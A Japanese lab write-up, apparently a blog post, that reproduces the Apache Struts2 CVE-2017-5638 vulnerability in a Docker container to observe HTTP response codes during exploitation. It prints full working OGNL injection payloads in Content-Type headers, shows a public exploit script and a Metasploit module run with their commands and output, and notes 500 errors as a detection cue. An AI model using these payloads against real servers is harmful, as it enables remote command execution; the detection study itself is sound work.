- 目的
Webアプリケーションを狙った攻撃において、exploitコードにより、HTTPのレスポンスコードがどのように変化するのか確かめる。
- 環境構築
お手軽なDockerコンテナを利用し、検証します。
# ホスト側
docker pull piesecurity/apache-struts2-cve-2017-5638
docker run -p 8080:8080 -it <Container ID> /bin/bash
# コンテナ側
cd /usr/local/tomcat/bin
./startup.sh
tail -f /usr/local/tomcat/logs/localhost_access_log.2018-05-02.txt
- 検証の実施
今回は2種類のexploitコードを利用する。
1つはnixawkが公開している方法、もう一つはmetasploitを利用する方法である。
nixawkの方法
exploitツールをダウンロードし、実行してみる
git clone https://github.com/nixawk/labs/tree/master/CVE-2017-5638
cd labs/CVE-2017-5638
python exploit-urllib2.py http://localhost:8080 "whoami"
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: whoami
root
# アクセスログ
172.17.0.1 - - [02/May/2018:05:46:42 +0000] "GET / HTTP/1.1" 500 10
また、HTTPのリクエストヘッダは以下のようになっていた
GET / HTTP/1.1
Accept-Encoding: identity
Host: localhost:8080
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='pwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Connection: close
User-Agent: Mozilla/5.0
metasploitを利用する方法
今回はセッション維持は行わない
msf > search cve-2017-5638
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/multi/http/struts2_content_type_ognl 2017-03-07 excellent Apache Struts Jakarta Multipart Parser OGNL Injection
msf > use exploit/multi/http/struts2_content_type_ognl
msf exploit(multi/http/struts2_content_type_ognl) > show options
Module options (exploit/multi/http/struts2_content_type_ognl):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /struts2-showcase/ yes The path to a struts application action
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Universal
msf exploit(multi/http/struts2_content_type_ognl) > set RHOST 192.168.xxx.xxx
RHOST => 192.168.xxx.xxx
msf exploit(multi/http/struts2_content_type_ognl) > set TARGETURI /showcase.action
TARGETURI => /showcase.action
msf exploit(multi/http/struts2_content_type_ognl) > set payload cmd/unix/generic
payload => cmd/unix/generic
msf exploit(multi/http/struts2_content_type_ognl) > show options
Module options (exploit/multi/http/struts2_content_type_ognl):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.xxx.xxx yes The target address
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /showcase.action yes The path to a struts application action
VHOST no HTTP server virtual host
Payload options (cmd/unix/generic):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD yes The command string to execute
Exploit target:
Id Name
-- ----
0 Universal
msf exploit(multi/http/struts2_content_type_ognl) > set CMD "touch /tmp/hacked"
CMD => touch /tmp/hacked
msf exploit(multi/http/struts2_content_type_ognl) > show options
Module options (exploit/multi/http/struts2_content_type_ognl):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.xxx.xxx yes The target address
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /showcase.action yes The path to a struts application action
VHOST no HTTP server virtual host
Payload options (cmd/unix/generic):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD touch /tmp/hacked2 yes The command string to executeexecute
Exploit target:
Id Name
-- ----
0 Universal
msf exploit(multi/http/struts2_content_type_ognl) > run
[*] Exploit completed, but no session was created.
# アクセスログ
172.17.0.1 - - [02/May/2018:06:05:55 +0000] "GET /showcase.action HTTP/1.1" 200 11834
また、パケットは以下の通り
GET /showcase.action HTTP/1.1
Host: 192.168.xxx.xxx:8080
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=@org.apache.struts2.ServletActionContext@getRequest().getHeader('X-pQFk')).(#os=@java.lang.System@getProperty('os.name')).(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())}
X-pQFk: touch /tmp/hacked2
Content-Type: application/x-www-form-urlencoded
3.検証結果
ツールにより、レスポンスコードが200と500別れてしまった。
別れる原因は力不足により分析することができなかったが、500をサーバーが返している時点でexploitされている発見契機にすることが可能ということがわかった。
また、500の意味は以下の通り(RFC7231より)
The 500 (Internal Server Error) status code indicates that the server encountered an unexpected condition that prevented it from fulfilling the request.
500(内部サーバーエラー)ステータスコードは、サーバーが要求を実行できなかった予期しない条件に遭遇したことを示します。(google翻訳より)